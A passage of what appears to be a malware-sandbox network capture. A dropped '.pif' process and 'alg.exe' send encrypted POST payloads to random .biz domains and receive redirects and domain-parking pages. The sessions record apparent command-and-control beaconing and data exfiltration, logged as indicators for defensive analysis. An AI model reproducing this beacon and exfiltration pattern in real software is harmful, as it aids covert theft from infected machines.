Dec 10, 2024 07:05:44.879518032 CET	778	OUT	Data Raw: ba c1 d8 c5 57 c5 7f f4 fe 02 00 00 3b bc d1 79 10 a9 af ad b2 28 a8 4d e8 e1 a1 89 fb 2a b4 8b 3d 9d db a8 6c 3e 9b d6 2d 88 3d ef 9f 59 75 9e 59 de 36 32 f3 5c 89 a0 0b d2 17 72 3d ee 04 e1 63 91 95 01 c7 78 46 5a c1 ce 1f 8b 44 48 dc 00 88 9b Data Ascii: W;y(M=l>-=YuY62\r=cxFZDHu# _LF$mG%:j)Qr"j-c2Tz@viWC,97l/)W_&mLTS_4MPKVD!l*IDU %w3+{Y\|$_
Dec 10, 2024 07:05:45.976599932 CET	412	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 10 Dec 2024 06:05:45 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=46869c4ec47ae458ccca9a792d8d7594\|8.46.123.228\|1733810745\|1733810745\|0\|1\|0; path=/; domain=.npukfztj.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=8.46.123.228; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.9	49724	172.234.222.143	80	7276	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 07:05:46.371730089 CET	348	OUT	POST /bjede HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: przvgke.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 778
Dec 10, 2024 07:05:46.371751070 CET	778	OUT	Data Raw: 5c e0 99 93 66 1a 2c 5a fe 02 00 00 b7 6c 35 38 46 bf a4 74 6c c0 95 03 2e 6f 91 55 eb 4e a0 10 1f 13 fa 70 76 3b 1a 28 11 a1 76 0a 7f 69 55 d9 7c 71 d4 c8 6e df 13 6f d9 91 c1 25 d2 0b 8c 3c 10 de f5 07 2b 02 35 32 b0 da 72 fe 61 f1 20 73 22 7a Data Ascii: \f,Zl58Ftl.oUNpv;(viU\|qno%<+52ra s"zS/3eaX8Jep$z#4#3YWp3jhvwMt~5[D=342S-Oh'zr&*B8x!%s_VX?2H#rKyI6L=dh!
Dec 10, 2024 07:05:47.499865055 CET	467	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Tue, 10 Dec 2024 06:05:47 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.przvgke.biz/bjede Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>
Dec 10, 2024 07:05:54.493613958 CET	349	OUT	POST /fauopp HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: przvgke.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 778
Dec 10, 2024 07:05:54.493673086 CET	778	OUT	Data Raw: 99 11 6f 75 ac 1b c5 58 fe 02 00 00 06 2d 8e 99 43 1b 53 4c 2e 78 a4 17 21 0a 07 88 f4 1c e4 98 bc d6 ed ed ae f8 ea b3 25 e1 1b 23 4a 04 82 29 b0 bc bd f7 7e 57 49 cf f8 c0 8c a0 ef 6b e5 3a 61 ab 25 78 38 d7 7d 58 5c ca 0e 48 78 07 92 d9 5e 33 Data Ascii: ouX-CSL.x!%#J)~WIk:a%x8}X\Hx^3\(xPMHw^pKq0{D.+qD(5"$Bh?+g@{u~fi[U:I=~?:$WE2zf&[1C\|U}Jl0?Klr4
Dec 10, 2024 07:05:54.833575964 CET	468	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Tue, 10 Dec 2024 06:05:54 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.przvgke.biz/fauopp Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.9	49726	172.234.222.143	80	7996	C:\Users\Public\Libraries\ymafvvdS.pif

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 07:05:46.727335930 CET	349	OUT	POST /cairvr HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: przvgke.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 802
Dec 10, 2024 07:05:46.727360010 CET	802	OUT	Data Raw: 25 87 ee c0 23 a0 aa be 16 03 00 00 e4 05 da b5 cd 31 53 16 e3 dc b4 54 7f aa d0 6f 43 d8 15 2b 74 c7 11 51 4b 45 c3 0b dd 13 15 00 14 10 50 00 eb c6 0b cd 45 fc af 89 ac 71 b6 05 5b 3a 2d 90 2f 5a 3d b7 97 82 d8 15 e9 45 ab ce 62 79 d4 ee f9 19 Data Ascii: %#1SToC+tQKEPEq[:-/Z=Eby&;s(d^3FFzdrN2\OiGnMC;p6IKRfWaSGq\1;6(eN4Z6I\|2+)g6kM}s_/Fy{sI9
Dec 10, 2024 07:05:47.828200102 CET	468	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Tue, 10 Dec 2024 06:05:47 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.przvgke.biz/cairvr Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.9	49727	72.52.179.174	80	7276	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 07:05:47.627351046 CET	331	OUT	GET /bjede HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Host: ww99.przvgke.biz
Dec 10, 2024 07:05:52.307727098 CET	280	IN	HTTP/1.1 302 Moved Temporarily Date: Tue, 10 Dec 2024 06:05:52 GMT Content-Type: text/html Content-Length: 0 Connection: keep-alive Location: http://ww12.przvgke.biz/bjede?usid=18&utid=28672493896 Cache-Control: no-cache Pragma: no-cache Access-Control-Allow-Origin: *
Dec 10, 2024 07:05:54.846071005 CET	332	OUT	GET /fauopp HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Host: ww99.przvgke.biz
Dec 10, 2024 07:05:55.223030090 CET	281	IN	HTTP/1.1 302 Moved Temporarily Date: Tue, 10 Dec 2024 06:05:55 GMT Content-Type: text/html Content-Length: 0 Connection: keep-alive Location: http://ww12.przvgke.biz/fauopp?usid=18&utid=28672494417 Cache-Control: no-cache Pragma: no-cache Access-Control-Allow-Origin: *

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.9	49728	72.52.179.174	80	7996	C:\Users\Public\Libraries\ymafvvdS.pif

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 07:05:47.950114965 CET	332	OUT	GET /cairvr HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Host: ww99.przvgke.biz
Dec 10, 2024 07:05:52.316836119 CET	280	IN	HTTP/1.1 302 Moved Temporarily Date: Tue, 10 Dec 2024 06:05:52 GMT Content-Type: text/html Content-Length: 0 Connection: keep-alive Location: http://ww7.przvgke.biz/cairvr?usid=18&utid=28672493914 Cache-Control: no-cache Pragma: no-cache Access-Control-Allow-Origin: *

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.9	49729	13.248.148.254	80	7276	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 07:05:52.839330912 CET	356	OUT	GET /bjede?usid=18&utid=28672493896 HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Host: ww12.przvgke.biz
Dec 10, 2024 07:05:54.126724958 CET	825	IN	HTTP/1.1 200 OK Accept-Ch: viewport-width Accept-Ch: dpr Accept-Ch: device-memory Accept-Ch: rtt Accept-Ch: downlink Accept-Ch: ect Accept-Ch: ua Accept-Ch: ua-full-version Accept-Ch: ua-platform Accept-Ch: ua-platform-version Accept-Ch: ua-arch Accept-Ch: ua-model Accept-Ch: ua-mobile Accept-Ch-Lifetime: 30 Content-Type: text/html; charset=UTF-8 Date: Tue, 10 Dec 2024 06:05:53 GMT Server: Caddy Server: nginx Vary: Accept-Encoding X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBALquDFETXRn0Hr05fUP7EJT77xYnPmRbpMy4vk8KYiHnkNpednjOANJcaXDXcKQJN0nXKZJL7TciJD8AoHXK158CAwEAAQ==_OvyNzL1fM3mGcXNtT9+uNK6KAFtCa27ji/Dc/AxSFrpeGBgDKuWeOjkwS/NVQfuEOmIOKbrnhef2rm2NBqYzvw== X-Domain: przvgke.biz X-Pcrew-Blocked-Reason: X-Pcrew-Ip-Organization: CenturyLink X-Subdomain: ww12 Transfer-Encoding: chunked
Dec 10, 2024 07:05:54.127228022 CET	1236	IN	Data Raw: 33 63 62 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4c 71 75 44 Data Ascii: 3cb9<!DOCTYPE html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBALquDFETXRn0Hr05fUP7EJT77xYnPmRbpMy4vk8KYiHnkNpednjOANJcaXDXcKQJN0nXKZJL7TciJD8AoHXK158CAwEAAQ==_OvyNzL1fM3mGcXNtT9+uNK6KAFtCa27ji/Dc/AxSFrpeGBgDKuWeOjkwS/NVQfuEOmIOK
Dec 10, 2024 07:05:54.127281904 CET	1236	IN	Data Raw: 67 69 6e 3a 30 20 30 20 33 70 78 20 32 30 70 78 3b 0a 7d 0a 0a 2e 73 69 74 65 6c 69 6e 6b 48 6f 6c 64 65 72 20 7b 0a 09 6d 61 72 67 69 6e 3a 2d 31 35 70 78 20 30 20 31 35 70 78 20 33 35 70 78 3b 0a 7d 0a 0a 23 61 6a 61 78 6c 6f 61 64 65 72 48 6f Data Ascii: gin:0 0 3px 20px;}.sitelinkHolder {margin:-15px 0 15px 35px;}#ajaxloaderHolder {display: block;width: 24px;height: 24px;background: #fff;padding: 8px 0 0 8px;margin:10px auto;-webkit-border-radius: 4px;-moz-border-radiu
Dec 10, 2024 07:05:54.127295971 CET	1236	IN	Data Raw: 3b 0a 7d 0a 0a 2e 66 6f 6f 74 65 72 20 7b 0a 20 20 20 20 63 6f 6c 6f 72 3a 23 36 32 36 35 37 34 3b 0a 20 20 20 20 70 61 64 64 69 6e 67 3a 32 72 65 6d 20 31 72 65 6d 3b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 2e 38 72 65 6d 3b 0a 20 20 20 20 Data Ascii: ;}.footer { color:#626574; padding:2rem 1rem; font-size:.8rem; margin:0 auto; max-width:440px;}.footer a:link,.footer a:visited { color:#626574;}.sale_link_bold a,.sale_link,.sale_link a { color:#626574
Dec 10, 2024 07:05:54.127424002 CET	1236	IN	Data Raw: 74 6f 6d 3a 20 32 30 70 78 3b 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 72 67 62 28 31 37 2c 20 33 38 2c 20 37 37 29 3b 0a 20 20 20 20 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 2d 6c 69 6e 65 3a 20 6e 6f 6e 65 3b 0a Data Ascii: tom: 20px; background-color: rgb(17, 38, 77); text-decoration-line: none; font-size: 18px; font-weight: 700; color: #ffffff; text-align: left;}.fallback-arrow { float: right; width: 24px; height: 24px;
Dec 10, 2024 07:05:54.127435923 CET	1236	IN	Data Raw: 72 69 67 68 74 2e 20 20 41 6c 6c 20 52 69 67 68 74 73 20 52 65 73 65 72 76 65 64 2e 0a 3c 62 72 2f 3e 3c 62 72 2f 3e 0a 3c 61 20 68 72 65 66 3d 22 6a 61 76 61 73 63 72 69 70 74 3a 76 6f 69 64 28 30 29 3b 22 20 6f 6e 43 6c 69 63 6b 3d 22 77 69 6e Data Ascii: right. All Rights Reserved.<br/><br/><a href="javascript:void(0);" onClick="window.open('/privacy.html', 'privacy-policy', 'width=890,height=330,left=200,top=200,menubar=no,status=yes,toolbar=no').focus()" class="privacy-policy"> Privac
Dec 10, 2024 07:05:54.127461910 CET	1236	IN	Data Raw: 27 63 6f 6c 6f 72 53 65 61 72 63 68 42 75 74 74 6f 6e 27 3a 20 27 23 30 62 33 32 37 39 27 2c 0a 20 20 20 20 20 20 20 20 27 63 6f 6c 6f 72 53 65 61 72 63 68 42 75 74 74 6f 6e 54 65 78 74 27 3a 20 27 23 66 66 66 27 0a 20 20 20 20 7d 3b 0a 20 20 20 Data Ascii: 'colorSearchButton': '#0b3279', 'colorSearchButtonText': '#fff' }; </script><script type="text/javascript">let isAdult=false; let containerNames=[]; let uniqueTrackingID='MTczMzgxMDc1My44NDg6YTcwZWU0OWQ2ZWYzYWF
Dec 10, 2024 07:05:54.127477884 CET	1236	IN	Data Raw: 73 65 3b 6c 65 74 20 70 61 67 65 4f 70 74 69 6f 6e 73 20 3d 20 7b 27 70 75 62 49 64 27 3a 20 27 64 70 2d 74 65 61 6d 69 6e 74 65 72 6e 65 74 30 31 27 2c 27 72 65 73 75 6c 74 73 50 61 67 65 42 61 73 65 55 72 6c 27 3a 20 27 2f 2f 27 20 2b 20 6c 6f Data Ascii: se;let pageOptions = {'pubId': 'dp-teaminternet01','resultsPageBaseUrl': '//' + location.host + '/?ts=','fontFamily': 'arial','optimizeTerms': true,'maxTermLength': 40,'adtest': true,'clicktrackUrl': '//' + location.host + '/track.php?','attri
Dec 10, 2024 07:05:54.127651930 CET	1236	IN	Data Raw: 6d 61 69 6e 3d 22 20 2b 20 65 6e 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 64 6f 6d 61 69 6e 29 20 2b 20 22 26 63 61 66 3d 31 26 74 6f 67 67 6c 65 3d 62 6c 6f 63 6b 26 72 65 61 73 6f 6e 3d 6f 74 68 65 72 26 75 69 64 3d 22 20 2b 20 65 6e Data Ascii: main=" + encodeURIComponent(domain) + "&caf=1&toggle=block&reason=other&uid=" + encodeURIComponent(uniqueTrackingID));}if (status.errorcode && !status.error_code) {status.error_code = status.errorcode;}if (status.error_code) {ajaxQuery(scriptP
Dec 10, 2024 07:05:54.127664089 CET	1236	IN	Data Raw: 61 78 51 75 65 72 79 28 73 63 72 69 70 74 50 61 74 68 20 2b 20 22 2f 74 72 61 63 6b 2e 70 68 70 3f 64 6f 6d 61 69 6e 3d 22 20 2b 20 65 6e 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 64 6f 6d 61 69 6e 29 20 2b 20 22 26 63 61 66 3d 31 26 74 Data Ascii: axQuery(scriptPath + "/track.php?domain=" + encodeURIComponent(domain) + "&caf=1&toggle=adult&uid=" + encodeURIComponent(uniqueTrackingID));} else if ((status.adult === false \|\| status.adult == "false") && isAdult) {ajaxQuery(scriptPath + "/tr
Dec 10, 2024 07:05:54.246736050 CET	1236	IN	Data Raw: 20 28 6c 65 74 20 6b 65 79 20 69 6e 20 6f 62 6a 32 29 6f 62 6a 31 5b 6b 65 79 5d 20 3d 20 6f 62 6a 32 5b 6b 65 79 5d 3b 72 65 74 75 72 6e 20 6f 62 6a 31 3b 7d 3b 66 75 6e 63 74 69 6f 6e 20 67 65 74 58 4d 4c 68 74 74 70 28 29 20 7b 6c 65 74 20 78 Data Ascii: (let key in obj2)obj1[key] = obj2[key];return obj1;};function getXMLhttp() {let xmlHttp = null;try {xmlHttp = new XMLHttpRequest();} catch (e) {try {xmlHttp = new ActiveXObject("Msxml2.XMLHTTP");} catch (ex) {try {xmlHttp = new ActiveXObject(
Dec 10, 2024 07:05:55.457324028 CET	357	OUT	GET /fauopp?usid=18&utid=28672494417 HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Host: ww12.przvgke.biz
Dec 10, 2024 07:05:55.960787058 CET	825	IN	HTTP/1.1 200 OK Accept-Ch: viewport-width Accept-Ch: dpr Accept-Ch: device-memory Accept-Ch: rtt Accept-Ch: downlink Accept-Ch: ect Accept-Ch: ua Accept-Ch: ua-full-version Accept-Ch: ua-platform Accept-Ch: ua-platform-version Accept-Ch: ua-arch Accept-Ch: ua-model Accept-Ch: ua-mobile Accept-Ch-Lifetime: 30 Content-Type: text/html; charset=UTF-8 Date: Tue, 10 Dec 2024 06:05:55 GMT Server: Caddy Server: nginx Vary: Accept-Encoding X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBALquDFETXRn0Hr05fUP7EJT77xYnPmRbpMy4vk8KYiHnkNpednjOANJcaXDXcKQJN0nXKZJL7TciJD8AoHXK158CAwEAAQ==_T6cLo7zYd6VxkyX5D7YTlF7rCMU5iTRTcMcDAcWhkhzoMxAI52XbayhHdJP3m8mgaS9l0VK8c7G1Pzo5Wv8NpQ== X-Domain: przvgke.biz X-Pcrew-Blocked-Reason: X-Pcrew-Ip-Organization: CenturyLink X-Subdomain: ww12 Transfer-Encoding: chunked

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.9	49730	199.59.243.227	80	7996	C:\Users\Public\Libraries\ymafvvdS.pif

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 07:05:52.882267952 CET	356	OUT	GET /cairvr?usid=18&utid=28672493914 HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Host: ww7.przvgke.biz
Dec 10, 2024 07:05:53.979266882 CET	1236	IN	HTTP/1.1 200 OK date: Tue, 10 Dec 2024 06:05:53 GMT content-type: text/html; charset=utf-8 content-length: 1138 x-request-id: bc0b2f68-753d-4be3-be81-809885932c05 cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_MjlSp8QbG/3KFaHTkUJ2cd3nvIhuMLWt+Sn0wvyxUwU8mTozxi/rDVYF4zRohC/QtaPyf+sdCnKSpjTi9+qGbg== set-cookie: parking_session=bc0b2f68-753d-4be3-be81-809885932c05; expires=Tue, 10 Dec 2024 06:20:53 GMT; path=/ Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 4d 6a 6c 53 70 38 51 62 47 2f 33 4b 46 61 48 54 6b 55 4a 32 63 64 33 6e 76 49 68 75 4d 4c 57 74 2b 53 6e 30 77 76 79 78 55 77 55 38 6d 54 6f 7a 78 69 2f 72 44 56 59 46 34 7a 52 6f 68 43 2f 51 74 61 50 79 66 2b 73 64 43 6e 4b 53 70 6a 54 69 39 2b 71 47 62 67 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_MjlSp8QbG/3KFaHTkUJ2cd3nvIhuMLWt+Sn0wvyxUwU8mTozxi/rDVYF4zRohC/QtaPyf+sdCnKSpjTi9+qGbg==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"> <link rel="pr
Dec 10, 2024 07:05:53.979295015 CET	572	IN	Data Raw: 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 64 69 76 20 69 64 3d 22 74 61 72 67 65 Data Ascii: econnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiYmMwYjJmNjgtNzUzZC00YmUzLWJlODEtODA5ODg1OTMyYzA1IiwicGFnZV90aW1lIjoxNzMzODEwNzUzLCJwYWdlX3VybCI6I

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.9	49731	18.141.10.107	80	7996	C:\Users\Public\Libraries\ymafvvdS.pif

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 07:05:54.839410067 CET	353	OUT	POST /uoxisrajk HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: knjghuig.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 802
Dec 10, 2024 07:05:54.839492083 CET	802	OUT	Data Raw: 08 d8 ae 8d 3a 02 30 47 16 03 00 00 f9 0f 81 53 02 e7 64 8f cf b4 17 47 b3 c3 d6 ca c7 a0 69 4f 9b 86 9b 53 65 f8 3d 39 ff fd 43 87 42 14 ed ac 68 f6 6c 0d bb c4 1a 1f 1b b1 9e 46 a8 dd 0b a3 f4 ab 97 90 18 29 1a 00 92 0e 55 35 3b 8a 85 04 4a 79 Data Ascii: :0GSdGiOSe=9CBhlF)U5;Jy8P/F*9ma,Ib,jO&h)8h>L$'E!8u3%?kG(cr{TTF;ckPvcH@:S\|s_g_BjQ$f( 7+xWJfw
Dec 10, 2024 07:05:56.864387035 CET	412	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 10 Dec 2024 06:05:56 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=463b86ae87d60229307798bd36f88c72\|8.46.123.228\|1733810756\|1733810756\|0\|1\|0; path=/; domain=.knjghuig.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=8.46.123.228; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.9	49732	18.141.10.107	80	7276	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 07:05:56.508774042 CET	353	OUT	POST /jedofahyn HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: knjghuig.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 778
